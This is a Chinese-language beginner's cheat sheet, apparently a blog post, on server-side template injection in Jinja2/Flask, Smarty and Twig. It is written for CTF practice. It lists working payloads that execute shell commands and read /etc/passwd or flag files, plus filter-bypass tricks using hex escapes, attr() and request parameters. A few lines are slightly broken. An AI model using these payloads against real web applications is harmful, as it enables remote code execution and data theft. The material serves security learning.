模板注入(SSTI)的简单总结

前言

由于现在还是萌新时期,这时候决定先写一篇关于模板注入的简单总结给自己用。

SSTI的简单测试

各框架的模板结构

jinja2

0x01

在缺省情况下,以下全局变量可以在 Jinja2 模板中使用:

  • config

    当前配置对象( flask.config )tips:这个变量总是可用,甚至是在被导入的模板中。

  • request

    当前请求对象( flask.request )。 在没有活动请求环境情况下渲染模板时,这个变量不可用。

  • session

    当前会话对象( flask.session )。 在没有活动请求环境情况下渲染模板时,这个变量不可用。

  • g

    请求绑定的全局变量( flask.g)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。

  • url_for()

    flask.url_for()函数。

  • get_flashed_messages()

    flask.get_flashed_messages() 函数。

0x02

在python的SSTI中,大部分是依靠基类->子类->危险函数的方式来利用ssti。

  • __class__

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

  • __subclasses__()

获取类的所有子类。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

常见payload

1
2
3
4
5
6
7
8
9
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

# python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

# python2
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

绕过姿势

测试SSTI过滤

{{"要测试的字符"}},只需要看看要测试的字符是否返回在页面中即可,下面分别说说对应各种过滤情况的解决办法。

过滤

使用{%`进行绕过,`{%%}中间执行if语句可以起到类似盲注的效果

过滤_

可以用编码绕过

1
2
#如下
__class__ => '\x5f\x5fclass\x5f\x5f'

_ => \x5f. => \x2e

过滤了_可以用request['args']或者request['values']绕过

如果过滤了args也可以request['values']结合attr()绕过

如:''.__class__ 可以写成 ''|attr(request['values']['x1']),然后POST传入x1=__class__

过滤.

可以用attr()[]绕过

1
2
3
4
5
6
7
8
9
10
11
12
# 例如
# 正常的payload
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

# 使用attr()绕过
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

# 使用[]绕过
url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

# tips:
''.__class__ 可以写成 getattr('',"__class__") 或者 ''|attr("__class__")

过滤[]

可以使用getitem()来获取序号

1
2
"".__class__.__mro__[2] =>
"".__class__.__mro__.__getitem__(2)

利用请求方式requests绕过

对于某些较为严格的过滤,我们可以选着用requests的方式绕过

1
2
3
4
5
# 例如
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# 又或者
{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__

smarty

Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。所以对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

漏洞确认

基本的测试可以根据上面的那张图片,也可以输入{$smarty.version}查看Smarty的版本信息。

常用payload

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}

常见的漏洞利用方式

{php}{/php}标签

Smarty支持 使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路应该是先测试这个标签。

但是,在Smarty3的官方手册中有如下描述:

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

所以,一般在Smarty类中是用不了的。

{if}标签

在官方文档中有如下描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

所以我们就可以利用这个来执行我们的php代码

如:{if phpinfo()}{/if}

twig

Twig的模板注入,判断如下:

49 回显7777777 => Jinja2 ,回显49 => Twig

payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

拿到flag

flag{c485b15c-f3df-4dc8-abb3-ed322ea30c66}

参考文档

https://blog.csdn.net/solitudi/article/details/107752717?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161669108716780271543102%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=161669108716780271543102&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-107752717.pc_v2_rank_blog_default&utm_term=%E6%A8%A1%E6%9D%BF

https://xz.aliyun.com/t/6885

https://blog.csdn.net/qq_45521281/article/details/107556915?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161812604616780261937076%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=161812604616780261937076&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-107556915.first_rank_v2_pc_rank_v29&utm_term=smarty%E6%B3%A8%E5%85%A5